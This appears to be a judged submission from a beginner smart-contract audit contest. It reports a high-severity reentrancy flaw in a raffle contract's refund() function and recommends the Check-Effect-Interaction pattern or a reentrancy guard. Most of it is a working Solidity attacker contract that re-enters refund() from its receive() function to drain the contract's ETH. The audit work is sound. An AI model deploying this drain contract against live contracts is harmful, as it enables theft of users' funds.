Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Refund function is vulnerable to re-entrancy attack

Summary

attacker could reenter the refund functions many times, draining the contract ETH balance

Vulnerability Details

POC below, basically attacker wait until there are enough entrances to the raffle (so that there are lots of ETHs to take), attacker enter the raffle, attacker then call refund and reenter this function many times to drain the contract

pragma solidity ^0.7.6;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
interface PuppyRaffle{
function enterRaffle(address[] memory newPlayers) external payable;
function refund(uint256 playerIndex) external;
function getActivePlayerIndex(address player) external returns(uint256);
}
contract AttackPuppyRaffle is Ownable{
PuppyRaffle raffle;
uint256 entranceFee;
constructor(address PuppyRaffleAddress, uint256 _entranceFee){
raffle = PuppyRaffle(PuppyRaffleAddress);
entranceFee = _entranceFee;
}
function enter() public payable onlyOwner{
address[] memory newPlayers = new address[](1);
newPlayers[0] = address(this);
raffle.enterRaffle{value:msg.value}(newPlayers);
}
function attack() external onlyOwner{
uint256 playerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(playerIndex);
}
receive() external payable{
uint256 playerIndex = raffle.getActivePlayerIndex(address(this));
while(msg.sender.balance >= entranceFee){
raffle.refund(playerIndex);
}
}
}

Impact

Loss of funds

Tools Used

Foundry

Recommendations

apply the CEI best practice (Check-Effect-Interaction), zero-ed the players address first before sending the ETH
or use reentrancy guard

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!